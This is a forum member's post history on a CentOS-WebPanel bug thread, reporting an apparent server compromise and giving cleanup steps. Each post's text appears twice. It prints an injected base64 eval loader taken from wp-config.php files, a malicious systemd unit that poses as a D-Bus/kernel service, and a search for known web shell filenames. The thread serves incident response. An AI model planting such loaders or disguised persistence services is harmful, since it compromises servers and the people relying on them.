Show Posts
This section allows you to view all posts made by this member. Note that you can only see posts made in areas you currently have access to.
Pages: [1]
1
CentOS-WebPanel Bugs / Re: I think there is a very serious security vulnerability in CWP right now.
« on: June 14, 2026, 04:19:56 PM »
The bug mentioned has nothing to do with OS but with CWP.
I understand the frustration:
1) enable modsecurity if disabled
2) create : cat /usr/local/apache/htdocs/webftp_simple/.htaccess
Require all denied
3) search for all .ssh directories ; bear in mind that you need to chatr -i authorized_keys to delete the folders
4) re-make /etc/passwd (all users have /bin/bash) , /etc/shadow(all users have password)
5) check for strange services ( see my other post)
6) check for strange files in /boot
rkhunter and maldet might give you more hints
I understand the frustration:
1) enable modsecurity if disabled
2) create : cat /usr/local/apache/htdocs/webftp_simple/.htaccess
Require all denied
3) search for all .ssh directories ; bear in mind that you need to chatr -i authorized_keys to delete the folders
4) re-make /etc/passwd (all users have /bin/bash) , /etc/shadow(all users have password)
5) check for strange services ( see my other post)
6) check for strange files in /boot
rkhunter and maldet might give you more hints
2
CentOS-WebPanel Bugs / Re: I think there is a very serious security vulnerability in CWP right now.
« on: June 13, 2026, 07:30:28 PM »
i can subscribe to this. Alma 8.10 with all updates.
Almost all wp-config.php files from every site had eval(base64_decode added
# grep -R "eval(base64_decode" .
./wp-config.php: eval(base64_decode("aW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCAwKTsKaW5pX3NldCgiZGlzcGxheV9zdGFydHVwX2Vycm9ycyIsIDApOwoKaWYgKFBIUF9TQVBJICE9PSAiY2xpIiAmJiAoCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWFkbWluL2FkbWluLWFqYXgucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWpzb24iKSA9PT0gZm
From my point of view entry point is : webftp_simple ( present in /usr/local/apache/htdocs/ ).
I had also a malware installed as service which pretended to be a kernel service.
# systemctl cat defunct.service
# /usr/lib/systemd/system/defunct.service
[Unit]
Description=D-Bus System Connection Bus
After=network.target
[Service]
Type=simple
Restart=always
RestartSec=300
WorkingDirectory=/root
ExecStart=/bin/bash -c "GS_ARGS='-k /lib/systemd/system/defunct.dat -ilq' exec -a '[slub_flushwq]' '/usr/bin/defunct'"
[Install]
WantedBy=multi-user.target
Virustotal confirmed that /usr/bin/defunct is malware.
Also search for other shell files instaled after breaking the system.
find /home /var/www -name "cmd.php" -o -name "shell.php" -o -name "c99.php" \
-o -name "r57.php" -o -name "wso.php" 2>/dev/null
Almost all wp-config.php files from every site had eval(base64_decode added
# grep -R "eval(base64_decode" .
./wp-config.php: eval(base64_decode("aW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCAwKTsKaW5pX3NldCgiZGlzcGxheV9zdGFydHVwX2Vycm9ycyIsIDApOwoKaWYgKFBIUF9TQVBJICE9PSAiY2xpIiAmJiAoCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWFkbWluL2FkbWluLWFqYXgucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWpzb24iKSA9PT0gZm
From my point of view entry point is : webftp_simple ( present in /usr/local/apache/htdocs/ ).
I had also a malware installed as service which pretended to be a kernel service.
# systemctl cat defunct.service
# /usr/lib/systemd/system/defunct.service
[Unit]
Description=D-Bus System Connection Bus
After=network.target
[Service]
Type=simple
Restart=always
RestartSec=300
WorkingDirectory=/root
ExecStart=/bin/bash -c "GS_ARGS='-k /lib/systemd/system/defunct.dat -ilq' exec -a '[slub_flushwq]' '/usr/bin/defunct'"
[Install]
WantedBy=multi-user.target
Virustotal confirmed that /usr/bin/defunct is malware.
Also search for other shell files instaled after breaking the system.
find /home /var/www -name "cmd.php" -o -name "shell.php" -o -name "c99.php" \
-o -name "r57.php" -o -name "wso.php" 2>/dev/null
Pages: [1]
